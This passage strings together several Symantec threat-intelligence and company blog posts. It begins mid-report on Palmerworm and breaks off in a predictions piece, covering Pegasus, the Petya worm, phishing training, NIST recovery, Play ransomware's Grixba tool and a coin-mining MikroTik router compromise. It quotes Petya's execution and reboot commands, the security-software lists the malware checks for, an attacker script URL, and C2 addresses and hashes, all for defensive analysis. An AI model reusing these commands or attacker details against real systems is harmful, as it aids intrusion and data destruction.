While we cannot see what Palmerworm is exfiltrating from these victims, the group is considered an espionage group and its likely motivation is considered to be stealing information from targeted companies.
How do we know this is Palmerworm?
While the custom malware used in this attack is not malware we have seen used by Palmerworm before, some of the samples identified in this research are detected by other vendors as PLEAD, which is a known Palmerworm (aka Blacktech) malware family. We also saw the use of infrastructure that has previously been attributed to Palmerworm.
The group’s use of dual-use tools has also been seen in previous campaigns identified as being carried out by Palmerworm, while the location of its victims is also typical of the geography targeted by Palmerworm in past campaigns. The group’s use of stolen code-signing certificates has also been observed in previous Palmerworm attacks. These various factors make us reasonably confident we can attribute this activity to Palmerworm.
Symantec does not attribute Palmerworm’s activity to any specific geography, however, Taiwanese officials have stated publicly that they believe Blacktech, which we track as Palmerworm, is backed by the Chinese government.
Conclusion
APT groups continue to be highly active in 2020, with their use of dual-use tools and living-off-the-land tactics making their activity ever harder to detect, and underlining the need for customers to have a comprehensive security solution in place that can detect this kind of activity.
Protection
The following protections are in place to protect customers against Palmerworm activity:
Backdoor.Consock
Backdoor.Waship
Backdoor.Dalwit
Backdoor.Nomri
Backdoor.Kivars
Backdoor.Pled
Hacktool
Trojan Horse
Indicators of Compromise
28ca0c218e14041b9f32a0b9a17d6ee5804e4ff52e9ef228a1f0f8b00ba24c11
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asiainfo.hpcloudnews.com
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103.40.112.228
172.104.92.110
45.76.218.116
45.77.181.203
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Partner Service is Open for Business
Symantec announces a new partner initiative
Symantec’s partner community is at the core of our go to market strategy for Enterprise Security, and with high and increasing channel participation rates, we are demonstrating our commitment to being a Channel First company. Together with our partners, we provide industry-leading cyber security solutions, technical expertise, and support services to keep our mutual customers protected from cyber threats.
The overall mission for our channel business is to: Engage, enable, and support channel partners in providing exceptional service to organizations and governments.
To accomplish that mission, we have to ensure the experience in partnering with Symantec is exceptional. One of our areas of focus is Operational Excellence: making it easier for our channel partners to do business with Symantec. We upgraded our ordering systems and streamlined our price lists and buying programs. We simplified Secure One, our partner program that is designed to support partners in driving a profitable Symantec business, and we redesigned our PartnerNet portal to make it easier to find what you need and to interact with Symantec. It was a lot in one year, and we want to thank all our partners for their efforts in embracing these changes and managing through them. The bulk of the system and process updates are behind us for now, but we will continue to make the adjustments required to be a preferred vendor, and we will continue to take focused initiatives to improve the experience in partnering with Symantec.
As part of these initiatives, I am thrilled to share that we have added a new team inside Symantec whose sole focus is to provide excellent service to Symantec partners. We call it Partner Service and it is officially open for business. If you have a question or some issue you are trying to resolve, just email [email protected] and the team will assist you and guide you to an answer or resolution.
The Partner Service team’s mission is to connect our channel partners with Symantec, helping clear any obstacle that might be preventing them from effectively driving their Symantec business.
We have set up three regional Partner Service teams in the Americas, in EMEA, and in Asia Pacific and Japan. All representatives will use English as well as their native language to help you.
We are very excited to launch the global Partner Service team and I encourage channel partners to reach out to the team, just email [email protected]
Symantec Partner Service
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Pegasus Spyware Takes Flight Again
Symantec solutions help detect, filter, and block the threat.
The recent iOS 14.8 update fixes a zero-day, zero-click exploit for a vulnerability affecting every mobile iOS device. The flaw, dubbed FORCEDENTRY (CVE-2021-30860), resided in Apple’s iMessage and, according to a report by The Citizen Lab, was used to push NSO Group’s Pegasus spyware to mobile iOS devices dating back to as far as February 2021.
Pegasus has been around for some years now but has been back in the spotlight recently following reports from both The Citizen Lab and Amnesty International about the spyware targeting journalists, activists, and others.
One of the main concerns with FORCEDENTRY is that it can be used in what is called a zero-click attack, meaning it requires no user interaction. An attacker exploiting the flaw only needs the Apple ID of a device in order to silently compromise it
This post will cover what is currently known about the Pegasus threat, how common it is, and how Symantec, a part of Broadcom Software, is keeping its customers safe from the spyware.
The Pegasus Threat
Developed by Israeli cyber arms firm NSO Group, Pegasus is a sophisticated and elusive mobile spyware that has been around for some years now. Pegasus has the ability to read messages, track calls, track device location, collect passwords, and access the target device's microphone and camera.
According to NSO Group, Pegasus is sold to nation-states and law enforcement to help in the fight against crime and terrorism, and to maintain public safety. Despite this statement, misuse of the software has been flagged over the years and Symantec has had a long-standing capability to detect it.
A recent report uncovered attacks exploiting vulnerabilities in Apple's iMessage service in order to install Pegasus. The attack only needs the Apple ID - an email or phone number - to infect the targeted mobile device.
The attack payload uses iMessage fields that are "hidden" from the user; in fact, if the iMessage text field is blank, no alerts or notifications are shown at all. This type of iMessage zero-click attack dates back to iOS 11 and research done by the Google Project Zero team.
The payload exploits vulnerabilities in the iMessage framework, such as exploiting the PDF processor by sending a maliciously crafted PDF to achieve arbitrary code execution (fixed in the iOS 14.8 update). Further, the attack execution takes place entirely inside the iMessage framework’s sandbox processes and is wiped when the device restarts.
How Common is the Threat?
Suffice to say, this makes measuring the scope of the Pegasus threat challenging. The best clue left behind by a FORCEDENTRY attack is the resulting web traffic it generates when it tries to download Pegasus spyware framework files.
Reports from Amnesty International listed known Pegasus infection URLs. We ran that list against the Symantec WebPulse URL reputation service used by Symantec Endpoint Protection Mobile to identify and block suspect web traffic. We found close to 1 in 150,000 iOS devices attempting to access a known Pegasus infection URL. While this number might seem low, this is only one part of the kill chain and the list of known infection URLs is by no means exhaustive.
In any case, Symantec WebPulse was able to identify the URLs as potential risks or malicious, and stop the infection and kill chain - even if it contained zero-day exploits and required zero user clicks - dead in its tracks.
How is Symantec Solving the Problem?
Symantec Endpoint Protection Mobile analyzes links contained within SMS messages, shielding users from attacks by checking URLs (even those that might be hidden to the user) against the threat intelligence in Symantec WebPulse, part of the Symantec Global Intelligence Network.
Symantec Endpoint Protection Mobile provides protection against network content threats, filtering and blocking communication to known command-and-control servers used in Pegasus campaigns (the same WebPulse global URL intelligence information is embedded in both our Windows and Mac Symantec Endpoint Protection agents). It can also identify and protect vulnerable iOS & Android devices. For more details around coverage see the Pegasus Spyware Protection Bulletin from the Symantec Security Center.
Patches for FORCEDENTRY are available for macOS, iOS, iPadOS, and watchOS, and users are advised to apply these patches as soon as possible.
Conclusion
Apple addressed the FORCEDENTRY vulnerability quickly with its iOS 14.8 update. However, with the iMessage framework increasingly a target for threat hunters, we expect many more fixes to come. We also expect the number of attacks targeting iOS devices will follow similar attack patterns used by Pegasus. Unfortunately, with limited visibility into the attack payload and kill chain, attackers know they can easily evade detection.
All this highlights how important it is to have mobile endpoint protection as part of a layered network defense strategy to prevent known and unknown (zero-day) attacks targeting mobile devices.
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Petya ransomware outbreak: Here’s what you need to know
Petya ransomware impacting large organizations in multiple countries.
A new strain of the Petya ransomware started propagating on June 27, 2017, infecting many organizations.
Figure 1. Top 20 countries based on numbers of affected organizations
Similar to WannaCry, Petya uses the EternalBlue exploit as one of the means to propagate itself. However, it also uses classic SMB network spreading techniques, meaning that it can spread within organizations, even if they have patched against EternalBlue.
"What we know so far about the #Petya ransomware outbreak"
CLICK TO TWEET
Initial infection vector
Symantec has confirmed that MEDoc, a tax and accounting software package, is used for the initial insertion of Petya into corporate networks. MEDoc is widely used in Ukraine, indicating that organizations in that country were the primary target.
After gaining an initial foothold, Petya then uses a variety of methods to spread across corporate networks.
Spread and lateral movement
Petya is a worm, meaning it has the ability to self-propagate. It does this by building a list of target computers and using two methods to spread to those computers.
IP address and credential gathering
Petya builds a list of IP addresses to spread to, which includes primarily addresses on the local area network (LAN) but also remote IPs. The full list is built as follows:
All IP addresses and DHCP servers of all network adaptors
All DHCP clients of the DHCP server if ports 445/139 are open
All IP addresses within the subnet as defined by the subnet mask if ports 445/139 are open
All computers you have a current open network connection with
All computers in the ARP cache
All resources in Active Directory
All server and workstation resources in Network Neighborhood
All resources in the Windows Credential Manager (including Remote Desktop Terminal Services computers)
Once the list of target computers has been identified, Petya builds out a list of user names and passwords it can use to spread to those targets. The list of user names and passwords is stored in memory. It uses two methods to gather credentials:
Gathers user names and passwords from Windows Credential Manager
Drops and executes a 32bit or 64bit credential dumper
Lateral movement
Petya uses two primary methods to spread across networks:
Execution across network shares: It attempts to spread to the target computers by copying itself to [COMPUTER NAME]\\admin$ using the acquired credentials. It is then executed remotely using either PsExec or the Windows Management Instrumentation Command-line (WMIC) tool. Both are legitimate tools.
SMB exploits: It attempts to spread using variations of the EternalBlue and EternalRomance exploits.
Petya checks for the presence of the following processes which are used by Norton products and Symantec Endpoint Protection:
ns.exe
ccsvchost.exe
If found, Petya will not use the EternalBlue and EternalRomance exploits to spread.
Initial infection and installation
Petya is initially executed via rundll32.exe using the following command:
rundll32.exe perfc.dat, #1
Once the DLL has been loaded, it will first attempt to remove itself from the infected system. This is done by opening the file and overwriting its contents with null bytes before finally deleting the file from disk. Overwriting the file with null bytes is used as an attempt to thwart recovery of the file using forensic techniques.
Next, it attempts to create the following file to be used as a flag indicating that the computer has been infected:
C:\Windows\perfc
MBR infection and encryption
Once installed, Petya proceeds to modify the master boot record (MBR). This allows it to hijack the normal loading process of the infected computer during the next system reboot. The modified MBR is used to encrypt the hard disk while simulating a CHKDSK screen. It then displays a ransom note to the user.
MBR modification does not succeed if the threat is executed as a normal user but the threat will still attempt to spread across the network
At this point, a system reboot is scheduled using the following command:
"/c at 00:49 C:\Windows\system32\shutdown.exe /r /f"
By scheduling and not forcing a reboot, it provides time to allow Petya to spread to other computers in the network before user-mode encryption occurs.
File encryption
Petya performs encryption in two ways:
After Petya has spread to other computers, user-mode encryption occurs where files with a specific extension are encrypted on disk.
The MBR is modified to add a custom loader which is used to load a CHKDSK simulator. This simulator is used to hide the fact that disk encryption is occurring. This is done after user-mode encryption occurs and thus encryption is twofold: user mode and full disk.
User-mode encryption
Once spreading has occurred, Petya then lists all files on any fixed drive (e.g. C:\) and checks for any of the following file extensions (skipping the %Windir% directory of that drive):
.3ds .7z .accdb .ai .asp .aspx .avhd .back .bak .c .cfg .conf .cpp .cs .ctl .dbf .disk .djvu .doc .docx .dwg .eml .fdb .gz .h. hdd .kdbx .mail .mdb .msg .nrg .ora .ost .ova .ovf .pdf .php .pmf .ppt .pptx .pst .pvi .py .pyc .rar .rtf .sln .sql .tar .vbox .vbs .vcb .vdi .vfd .vmc .vmdk .vmsd .vmx .vsdx .vsv .work .xls .xlsx .xvd .zip
If any of the file extensions match that of the file list, encryption occurs.
Wiper vs ransomware
As mentioned, encryption performed by Petya is twofold; firstly specific file types are encrypted in user-mode after spreading occurs and the key is encrypted with an embedded public key, Base64 encoded, and appended to the README.TXT file.
After a system reboot occurs, the infected MBR is loaded, disk encryption begins, and the ransom note is displayed to the user. The "installation key" referenced in the ransom note is a randomly generated string that is displayed to the user. A randomly generated Salsa20 key is then used for disk encryption. As there is no relationship between the “installation key” and Salsa20 key, the disk can never be decrypted. This demonstrates that Petya is more accurately a wiper rather than ransomware.
FAQs
Am I protected from the Petya Ransomware?
Symantec Endpoint Protection (SEP) and Norton products proactively protect customers against attempts to spread Petya using EternalBlue. SONAR behavior detection technology also proactively protects against Petya infections.
Symantec products using definitions version 20170627.009 also detect Petya components as Ransom.Petya.
What is Petya?
Petya has been in existence since 2016. It differs from typical ransomware as it doesn’t just encrypt files, it also overwrites and encrypts the master boot record (MBR).
In this latest attack, the following ransom note is displayed on infected computers, demanding that $300 in bitcoins be paid to recover files:
Figure 2. Ransom note displayed on computers infected with the Petya ransomware, demanding $300 in bitcoins
How does Petya spread and infect computers?
The MEDoc accounting software is used to drop and install Petya into organizations’ networks. Once in the network it uses two methods to spread.
One of the ways in which Petya propagates itself is by exploiting the MS17-010 vulnerability, also known as EternalBlue. It also spreads by acquiring user names and passwords and spreading across network shares.
Who is impacted?
Petya is primarily impacting organizations in Europe.
Is this a targeted attack?
It is unclear at this time, however, the initial infector is software used solely in Ukraine, indicating that organizations there were the initial targets.
Should I pay the ransom?
Symantec recommends that users do not pay the ransom, particularly as there is no evidence that files will be restored.
What are the details of Symantec's protection?
Network-based protection
Symantec has the following IPS protection in place to protect customers against these attacks:
OS Attack: Microsoft SMB MS17-010 Disclosure Attempt (released May 2, 2017)
Attack: Shellcode Download Activity (released April 24, 2017)
Attack: SMB Double Pulsar Ping
Web Attack: Shellcode Download Activity 4
Antivirus
Ransom.Petya
Ransom.Petya!g1
SONAR behavior detection technology
SONAR.Module!gen3
Skeptic
Trojan.gen
For further detail see https://email.status.symantec.com/
Symantec is continuing to analyze this threat and will post further information as soon as it becomes available.
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Phishing for a Proactive Security Culture
How to drive a measurable reduction in security risk using phishing simulations
One of the most critical layers of defense in cyber security is a proactive security culture where the expectation is that all users are playing their part to protect themselves and the organization from harm.
Users need to be aware of their susceptibility to threats, but also confident in their ability to protect themselves and their colleagues. As discussed in previous posts, we believe the best way to learn is by getting hands-on practice, using simulated exercises such as phishing assessments.
Symantec’s Global Security Office engaged in an intensive 12-month phishing campaign between August 2018 and July 2019, which among other goals aimed to boost engagement of Symantec staff in our security uplift program.
We’ve enjoyed some strong results: Symantec staff are now 2-3 times more likely to report suspicious activity to the security operations center today than they were 12 months ago.
The graph below reveals the relative positive reporting and compromise rates for Symantec staff over the 12-month campaign.
Framing the Challenge
Convincing thousands of users to persistently report suspicious activity to the right channels requires a campaign of sustained training and comms. Our organization is relatively fragmented and globally-distributed – encompassing enterprise and consumer-facing teams and supporting functions. Many products were inherited from start-ups that each brought elements of their own working culture to Symantec.
We anticipated that engineers that manage a highly-tuned email filtering service and develop email isolation tools would likely question the need for phishing simulations, as these tools are designed to prevent users from having to interact with these threats altogether. We had to convince them to suspend their disbelief and assume attackers had found a way to circumvent our technical controls. Chief among our arguments was that users had to be ready to play a role if it ever were required of them, whether in or out of their work context.
With that in mind, we needed the campaign to drive organic conversations about the social and behavioral aspects of phishing. Our assessments had to strike a delicate balance between consistency and cunning. There would be a minimum of three ‘tells’ in every lure that all staff could be trained to identify, but equally we had to reflect the crafty techniques attackers use to make phishing so successful.
The Hall of “Phame”
And so was born Symantec’s Hall of Phame, a 12-month phishing campaign designed to imitate the most compelling and impactful real-world phishing campaigns in history. These infamous examples would demonstrate to staff that anybody can fall victim to the right lure.
We scoured our threat intelligence data, law enforcement indictments and ran image searches to identify appropriate lures used by cyber crime gangs (such as Carbanak, Dridex and Mealybug) and nation-state actors (such as Appleworm, Dragonfly and Sandworm) that we could emulate in the assessments.
Chasing Learning Outcomes
Any user compromised in these assessments would be presented with a training page in Symantec’s Phishing Readiness Platform. The training page would feature a short story narrative about the real-world campaign we had emulated. We discussed what techniques and tradecraft the real attackers used, what human instincts they preyed upon and the impact of the attacks. We wanted learners to draw a line between the lure they fell victim to and known attacks that interrupted power grids, stole vast sums of money, pilfered intellectual property, destroyed networks or interfered with elections. We also developed animated GIFs pointing out what ‘tells’ the compromised user could have picked up on, followed by a just-in-time quiz to reinforce what they’d learned.
Articles on each assessment were also published on the company intranet. Each article presented an opportunity to reinforce training about the correct ways to handle and report suspicious messages to Symantec’s security operations center. They also directed readers to a leaderboard that ranked the positive reporting rates by business unit in order to drive competitive interest in identifying and reporting suspicious activity.
We wanted learners to draw a line between the lure they fell victim to and known attacks that interrupted power grids, stole vast sums of money, pilfered intellectual property, destroyed networks or interfered with elections.
For the entire 12 months of the campaign, these were by far the most read articles on Symantec’s intranet each month, with all but one doubling the average traffic of the five highest stories that month.
The gamification of the program drove great results. Some of the more technically astute teams were strong performers from the outset and remained there for most of the campaign. What mattered more to us was whether the worst performers improved over time.
The graph below shows the growth in positive reporting rates of the business unit which had the lowest reporting rate at the beginning of the campaign. The SVP that leads this business unit took decisive action and used weekly newsletters to encourage team performance, whilst members of their staff took it upon themselves to organize and deliver classroom-based workshops for their peers. After several months of steady improvement, this business unit was consistently in the top 3 (of 10) on positive reporting by the latter stages of the campaign.
Making Reporting Easy
While positive reporting rates grew steadily throughout the 12-month campaign, we achieved the most rapid growth after providing users with tools that simplify the process of reporting suspicious messages.
We call it the ‘Phishing Tacklebox’. The Tacklebox ensures help is only a click of a mouse or tap of a screen away for any user unsure about the legitimacy of an email.
The Phishing Tacklebox is a custom add-in integrated into users’ Outlook clients across all corporate devices (desktops and mobiles). One feature (‘Inspect Headers’) allows users to parse an email header to better determine how trustworthy the message is. The tool highlights important information that can be pulled from the header – whether it originated from an external network, the server it was first sent from and the outputs of various email security authentication checks. All of this information was linked off to further reading resources where a user could learn more. At all times we stressed that users should not rely solely on a single indicator to determine the trustworthiness of a message, but we felt it important to provide options for those eager to learn more about email security.
The Tacklebox ensures help is only a click of a mouse or tap of a screen away for any user unsure about the legitimacy of an email.
The second feature (‘Report Email’) is – as you’d expect - for those users unsure about the trustworthiness of the email who wish to report it to the security team. We adapted the typical workflow of ‘one-click reporting’ solutions to ease the burden of SOC analysts responding to these reports. Reporters would see a confirmation prompt upon clicking the icon (to avoid an influx of accidental reports into the SOC), as well as toggles for whether they needed a response from the SOC or wanted the email removed from their inbox after the report was sent. Users could also set sticky preferences for future reporting.
We’ve been very impressed with user uptake of the Tacklebox. Power users love having raw and parsed email header information available in one click. And in the last two Hall of Phame simulations, the share of positive reporting using the Tacklebox rose from 37% of reports to 51%. This demonstrates that with sustained hands-on training, comms, and tools developed with user convenience in mind, users gain greater confidence in playing an active role in the security program.
Next Steps
With this 12-month campaign behind us, we have a great baseline of data about which users and groups are most susceptible to social engineering alongside the attacker tradecraft they are more or less susceptible to.
Now that our users are highly engaged, the focus of our phishing training can shift to current attacker tradecraft (vs historical), and we can pay greater attention to a broader program of remedial training for at-risk users.
We’ll go into detail about our remedial program in the next blog post.
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Plan, Improve, Communicate: How to Recover from a Cyber Security Breach
Ensuring that organizations can rebuild itself and its reputation after an attack
The RECOVER function of the National Institute of Standards and Technology’s Cyber Security Framework (NIST CSF) only includes three categories, but do not substitute length for importance. The RECOVER function, as its name implies, ensures that organizations can rebuild itself and its reputation after an attack.
“Many people see recover as the most important step,” said Symantec CISSP strategist Ken Durbin in our recent webinar on demystifying the NIST CSF. “We all know we are going to get attacked, so why wouldn’t the ability to recover be an important part of a cyber security strategy.”
The RECOVER function of the NIST CSF focuses on three core areas:
Recovery planning. Healthcare organizations need a recovery plan during and after an event. That plan needs informative references that can help immediately after an attack, and should include multiple stakeholders in the process such as IT executives/managers, compliance officers, administrators, physicians and the like. However, this plan cannot be simply written and thrown in a drawer – it needs to be reviewed every few months and updated as necessary. Organizations should also rehearse it before an attack to look for areas to improve and discover any fundamental flaws.
Improvement. Recovery plans need to be updated after an attack to incorporate lessons learned. Recovery plans lose value if the owners do not take the time to analyze what happened in an attack and use that information to improve operations. A recovery plan needs to be a living document that is under constant review.
Communications. Cyber security breaches never look good. Healthcare organizations need to have a plan for communicating what happened to stakeholders. Providing inaccurate information, or trying to hide a breach, can have a more negative impact on an organization than the breach itself. Organizations should look at how public relations will be managed, who will be authorized to talk to press and how people affected will be contacted. They must also pre-determine the process of reporting the incident to the Ownership and Control Reporting (OCR) function.
The NIST CSF provides guidelines for healthcare organizations to recover after an attack. Like the other aspects of the NIST CSF these have been created to help leaders understand where their cyber operations face additional risk. Some organizations will be content with the risk they face while others will use the NIST CSF as a guide for future investment.
The NIST CSF can provide healthcare organizations with valuable tools. Throughout this series we’ve looked at all the different functions of the framework. To view previous webinars please click here. And, join us next week on December 5 for the final webinar in our series as we explore how to implement the NIST CSF in your organization.
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Play Ransomware Group Using New Custom Data-Gathering Tools
Tools allow attackers to harvest data typically locked by the operating system.
The Play ransomware group is using two new, custom-developed tools that allow it to enumerate all users and computers on a compromised network, and copy files from the Volume Shadow Copy Service (VSS) that are normally locked by the operating system.
Grixba
The first tool found by researchers at Symantec, by Broadcom Software, was Grixba (Infostealer.Grixba), which is a network-scanning tool used to enumerate all users and computers in the domain.
The threat actors use the .NET infostealer to enumerate software and services via WMI, WinRM, Remote Registry, and Remote Services. The malware checks for the existence of security and backup software, as well as remote administration tools and other programs, saving the gathered information in CSV files that are compressed into a ZIP file for subsequent manual exfiltration by the threat actors.
The Play ransomware gang developed Grixba using Costura, a popular.NET development tool for embedding an application's dependencies into a single executable file. This eliminates the requirement for the program and its dependencies to be deployed separately, making it easier to share and deploy the application. Costura embeds into applications the DLL file costura.commandline.dll, which is used by Grixba to parse command lines.
An analysis of a Grixba sample by Symantec revealed the following help message and functionality:
Help message
Figure 1. Help screen displayed by Grixba malware
Scan mode
The Scan mode enumerates software and services via WMI, WinRM, Remote Registry, and Remote Services.
It then checks for the existence of the following security programs:
Defence
Defender
Endpoint
AntiVirus
BitDefender
Kaspersky
Norton
Avast
WebRoo
AVG
ESET
Malware
Defender
Sophos
Trend
Symantec Endpoint Protection
Security
McAfee
TotalAV
pcprotect
scanguard
Crowdstrike
Harmony
SentinelOne
MVISION
WithSecure
WatchGuard
FireEye
FSecure
Carbon Black
Heimdal
HitmanPro
VIPRE
Anti-Virus
DeepArmor
Morphisec
Dr.Web
It also checks for the existence of the following backup software:
Veeam
Backup
Recovery
Synology
C2
Cloud
Dropbox
Acronis
Cobian
EaseUS
Paragon
IDrive
It then checks for the existence of the following remote administration tools:
VNC
Remote
AnyDesk
TeamViewer
NinjaOne
Zoho
Atera
ConnectWise
RemotePC
GoTo Resolve
GoToAssist
Splashtop SOS
BeyondTrust
Remote Desktop Manager
Getscreen
Action1
Webex
Atlassian
Surfly
Electric
Pulseway
Kaseya VSA
XMReality
SightCall
DameWare
ScreenMeet
Viewabo
ShowMyPC
Iperius
Radmin
Remote Utilities
RemoteToPC
Finally, it checks for the existence of the following programs:
Hitachi Storage Navigator Modular
.NET
Office
Adobe
Word
Excel
Java
Office
Learning
DirectX
PowerPoint
The malware then saves all the information in CSV files and, using WinRAR, compresses them to a file named export.zip.
List of CSV files compressed by Grixba:
alive.csv
wm.csv
soft.csv
all_soft.csv
mount.csv
users.csv
remote_svc.csv
cached_RDP.csv
Scanall mode
Scanall mode is similar to Scan mode, but scans for a broader list of programs.
Clr mode
Clr mode deletes the logs from local and remote computers. It also enumerates the following registry keys:
SYSTEM\\CurrentControlSet\\services\\eventlog
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels
It uses the APIs "EvtOpenLog" and "EvtClearLog" to delete the logs and deletes the WMI activity logs from the event source "Microsoft-Windows-WMI-Activity".
VSS Copying Tool
The Play ransomware gang was also recently observed using another .NET executable, which was also developed with the Costura tool.
Costura embeds the library AlphaVSS into executables. The AlphaVSS library is a.NET framework that provides a high-level interface for interacting with VSS. The library makes it easier for .NET programs to interface with VSS by offering a set of controlled APIs. Developers can use these APIs to generate, manage, and delete shadow copies, as well as access information about existing shadow copies such as size and status.
The tool created by the Play ransomware operators uses AlphaVSS to copy files from VSS snapshots. The tool enumerates the files and folders in a VSS snapshot and copies them to a destination directory. The tool allows the attackers to copy files from VSS volumes on compromised machines prior to encryption. This allows the threat actors to copy files that would normally be locked by the operating system.
Play Ransomware Background
Play ransomware (also known as PlayCrypt), which is developed by a group Symantec tracks as Balloonfly, was launched in June 2022, and since then has been responsible for multiple high-profile attacks. Like most ransomware groups now, Play carries out double-extortion attacks, where the attackers exfiltrate data from victim networks before encrypting them. While the ransomware gang had an initial focus on organizations in Latin America, especially Brazil, it soon widened its targeting.
Play is known for targeting Microsoft Exchange vulnerabilities (CVE-2022-41080, CVE-2022-41082), as well as other flaws, to gain remote code execution (RCE) and infiltrate victim networks. The group was also one of the first ransomware groups to employ intermittent encryption, a technique that allows for faster encryption of victims’ systems. The tactic consists of encrypting only parts of the targeted files' content, which would still render the data unrecoverable.
Play is also notable as it doesn’t appear to operate as a ransomware-as-a-service, with Balloonfly seemingly carrying out the ransomware attacks as well as developing the malware.
Use of Custom Tools on the Rise
Custom tools are increasingly being used by ransomware gangs in their attacks. This is likely due to a number of reasons, such as making attacks more efficient and reducing dwell time. Custom tools can be tailored to a specific target environment, allowing ransomware gangs to carry out attacks faster and more efficiently. The use of proprietary tools also gives ransomware operators more control over their operations. If a tool is widely available, it can be reverse-engineered or adapted by other attackers, potentially weakening the initial attack's effectiveness. By keeping their tools proprietary and exclusive, ransomware gangs can maintain their competitive advantage and maximize their profits.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
SHA256
762bb8a7209da29afb89f7941ae1c00a04cf45a144c6c5dddcfa78ff0d941539 – Play ransomware
86e4e23f9686b129bfb2f452acb16a4c0fda73cf2bf5e93751dcf58860c6598c – SystemBC malware
f706bae95a232402488d17016ecc11ebe24a8b6cb9f10ad0fa5cbac0f174d2e7 – SystemBC malware
c59f3c8d61d940b56436c14bc148c1fe98862921b8f7bad97fbc96b31d71193c – Infostealer.Grixba
453257c3494addafb39cb6815862403e827947a1e7737eb8168cd10522465deb – Infostealer.Grixba
f71476f9adec70acc47a911a0cd1d6fea1f85469aa16f5873dd3ffd5146ccd6b – Infostealer.Grixba
a8a7fdbbc688029c0d97bf836da9ece926a85e78986d0e1ebd9b3467b3a72258 – NetScan
5ef9844903e8d596ac03cc000b69bbbe45249eea02d9678b38c07f49e4c1ec46 – NetScan
f81bd2ac937ed9e254e8b3b003cc35e010800cbbce4d760f5013ff911f01d4f9 – VSS copying tool
367d47ad48822caeedf73ce9f26a3a92db6f9f2eb18ee6d650806959b6d7d0a2 – WinRAR
6f95f7f53b3b6537aeb7c5f0025dbca5e88e6131b7453cfb4ee4d1f11eeaebfc – WinSCP
1409e010675bf4a40db0a845b60db3aae5b302834e80adeec884aebc55eccbf7 – PsExec
Network
137.220[.]49.66 – SystemBC C&C
justiceukraine.com – SystemBC C&C
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Postmortem of a Compromised MikroTik Router
An examination of a router infected in a large-scale coin-mining campaign.
Cryptocurrency coinminers are the new ransomware and malicious actors have already pounced on the opportunity to make their fortune. Symantec has been tracking a large-scale coin-mining campaign which, as per Shodan, has currently infected about 157,000 MikroTik routers.
Researchers discovered this coin-mining campaign in early August 2018. The campaign was initially concentrated in Brazil; however, it soon began infecting routers around the world. I decided to take a closer look at one of these infected routers to get a better understanding at what’s going on.
Router postmortem
At the outset, the compromised router has multiple services running on it. Interestingly, the infected router had the default web service disabled.
Figure 1. Services running on the router
Pointing a browser to the infected router’s port 80, causes it to serve the Coinhive script responsible for coin mining (Figure 2). But when the infected router is found in between a client sending a request and a server receiving it, this HTML page is only served when there’s an error.
Figure 2. Coinhive script
This is because internally the router is configured with a firewall rule that helps serve this malicious HTML page. Using network address translation (NAT), the firewall rule takes traffic bound to port 80 and redirects it to port 8080 (Figure 3).
Figure 3. Firewall NAT rules
The router is also configured to run a default proxy server on port 8080 that’s responsible for serving the Coinhive script.
Figure 4. Proxy service running on the router
Looking at the webproxy path, we can find the actual file (error.html) that holds the coin-mining script that’s served every time there’s an error. The error.html file is available from the following path: /webproxy/error.html
When the router is compromised, the hackers schedule multiple scripts to run at various times. These scheduled scripts are created to download the error.html page onto the router, which allows the hackers to drop various versions of the error.html page if they wish.
Figure 5. Scheduler tasks running on the router
These scheduled jobs are set up by another script which is executed on the compromised router during the initial stages of infection. This script is hosted on the min01.com/01/a113.rsc server, as seen in Figure 6.
Figure 6. Script that executes various malicious commands on the router
This script is responsible for performing multiple malicious actions on the router including, but not limited to:
Enabling the proxy service
Adding the firewall NAT entry
Enabling Winbox, FTP, SSH services
Disabling the WWW service
Scheduling various tasks to remain persistent on the router
Adding a backdoor user with the name “ftu” to the FTP group
It’s likely that this script was downloaded using the inbuilt /tool fetch command and run using the /import command.
The bottom line
All of the infected MikroTik routers (v6.29 to v6.42) that I encountered were running the Winbox service, which is known to be vulnerable to CVE-2018-14847. When exploited successfully, this flaw can allow an attacker to bypass authentication and compromise the router. After the router is compromised, the hackers can load their malicious error page, which is displayed any time a user accessing the internet via the router encounters an HTTP error. Every time the error page is displayed, the victim is unknowingly mining Monero (XMR) for the hackers.
These routers are used by many organizations and businesses, including internet service providers. While MikroTik was prompt in patching CVE-2018-14847, unfortunately poor patching practices by vendors and users mean that there are plenty of vulnerable routers still out there.
Protection
The following Symantec intrusion prevention system (IPS) detections blocked this coin-mining campaign from day one:
Web Attack: JSCoinminer Download 6 (30356)
Web Attack: JSCoinminer Download 8 (30358)
Figure 7 shows Symantec IPS detections protecting users from this coin-mining campaign.
Figure 7. Symantec IPS detections blocking coin-mining campaign
Mitigation
MikroTik has already published a patch to address CVE-2018-14847. Symantec recommends users to install the patch on their routers, if they have not done so already. Users can also consider disabling the following services on their routers, if not required:
TELNET
SSH
FTP
WINBOX
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Predicting the Unpredictable
What does the future hold for cyber security?
Cat and mouse. Tit for tat. In cyber security it seems that for every head we cut off, new ones take their place. To understand how this hydra might evolve, we welcomed a panel of some of the leading security thinkers to gaze into the not so distant future. At Symantec’s Crystal Ball event I was joined by a government official, a sociologist, a business leader and a threat insider to see the direction of travel and how we should arm ourselves for tomorrow’s threats.
One point was unanimous; major threats are coming our way, but each had their own take on how the picture will evolve in coming years, and how we could protect ourselves against these threats. Here are some of the insights.
Darren Thomson, EMEA CTO & VP, Technology Services at Symantec
WannaCry was only the tip of the iceberg
One of the most striking predictions to come out of the event was the fact that the UK will inevitably be hit by a cyber incident of massive proportions – even greater than WannaCry - and worst of all, that it will turn out that it was entirely preventable.
According to Ian Levy, Technical Director at the National Cyber Security Centre, government and industry must come together to prevent this. It’s only through sharing data and collaboration that we can build the defences able to withstand these inevitable ‘category one’ threats.
Critically, Ian pointed out that for all too long we’ve treated people as part of the problem. In the future, this will have serious consequences.
The rise of mass social engineering
Social engineering attacks will gain momentum over the next few years. And they won’t strictly target citizens anymore. Corporations, markets and high-profile individuals will all fall victim, according to Dr Jessica Barker, sociologist and Co-Founder of Redacted Firm.
Geopolitical tensions and a more connected society will create a perfect storm where society becomes more vulnerable. Fake news will be part of the problem but it won’t be the whole story – at least in its current form. There will be a wider threat as we continue to trust our networks and take in information from a variety of online sources blindly. Social engineering on a mass scale will influence markets, reshape the political agenda and influence consumer behaviours.
Education will be key. We all have a collective responsibility to encourage critical thinking in the face of this threat.
Dr. Jessica Barker, Cyber Security Consultant
AI will call the shots but at what price?
